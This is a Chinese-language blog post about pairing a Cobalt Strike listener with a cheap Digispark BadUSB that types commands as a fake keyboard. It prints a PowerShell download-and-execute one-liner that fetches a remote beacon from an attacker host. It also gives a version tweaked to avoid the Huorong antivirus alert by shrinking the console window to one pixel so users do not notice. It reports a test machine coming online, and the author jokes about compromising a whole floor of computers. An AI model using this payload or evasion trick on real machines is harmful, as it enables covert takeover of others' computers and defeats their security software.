0%

CS与badusb组合整活

 折腾了一下午搞定了cobaltstrike的环境, 然后想起来了以前玩剩下的badusb. 以前是考虑到msf的环境不适合提供长期的接收反弹shell的服务就搁置了. 现在解锁了CS, 正好能用来和badusb合起来整活.
 badusb说白了就是让电脑认为当前接入的装置是一个键盘/鼠标, 然后装置模拟正常键鼠的工作流程发送按键序列, 以达到任意命令执行的目的.
 不过我不确定这个状态的badusb能不能运行在没有安装过驱动的主机上, 以前有过在纯净的win7上触发payload的先例, 不过好像现在没法在我手里另一台win10电脑上触发.

设置CS环境

 简单来说就是新建一个powershell的bacon, 不过要稍微做点修改.

生成payload


 如图, 选择scripted web Deliver, 配置下使用的listener和url路径就行了, 生成的payload形如

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://YOUR_HOST:80/a'))"

 但是这段代码要是直接执行的话会被火绒gank

 所以还得稍作修改

绕过火绒限制

 火绒弹警告主要还是因为提供的payload里有-w hidden这个参数. 这个参数会让powershell在后台运行, 从而触发了火绒的报警. 那么如果我们去掉这个参数呢? 那就会有一个消不掉的大黑框顶在前台, 相当容易引起用户怀疑. 所以这里需要采用一个既不会触发火绒告警, 又不会让powershell窗口太显眼的方法.
  powershell可以在运行时动态设置自己的窗口长宽, 我们只要让火绒在执行payload前将自己的长宽最小, 就可以缩成一个超级小的窗口, 躲一些星际玩家是毫无问题.
 所以稍作修改后的payload如下

1
powershell.exe -nop  -c "$w=$Host.UI.RawUI.WindowSize;$w.Width=1;$w.Height=1;$Host.UI.RawUI.Set_windowsize($w);IEX ((new-object net.webclient).downloadstring('http://YOUR_HOST/a'))"

这样启动后就不会触发火绒的报警, 同时powershell界面又会缩到最小不引起用户注意了.

 窗口只有这么一点大.

设置badusb

 这里的badusb使用digispark开发板来做. 关于具体教程网上已经写烂了, 我实在是没什么新东西能写. 把核心的payload部分换成上面的payload, 然后用arduino客户端烧录进去就行. 然后稍微注意下利用按键绕过输入法.

实验

 直接拿自己开刀, 手里有两台电脑的好处.jpg
 插进去后需要等一会识别.

 识别完就会开始执行payload

执行完毕, 很难看到现在的powershell窗口, 同时火绒也没有告警.

另一台开着client的电脑上, 可以看到靶机已经上线了.

总结

 为了节省成本我使用了digispark, 在伪装性和通用性上是真的8行, 以后有时间/财力还是得整个小黄鸭玩玩. 同时我也不能确定它在没有驱动的纯净系统上的表现, 似乎win10是不支持的, 但是以前拿学校的垃圾win7测试的时候倒是一次成. 不知道是不是win10封了相关驱动.
 不过低成本是真的香, 4片算上运费才花了我25不到. 总之硬件玩具+1, 一片捅开一层楼的电脑😁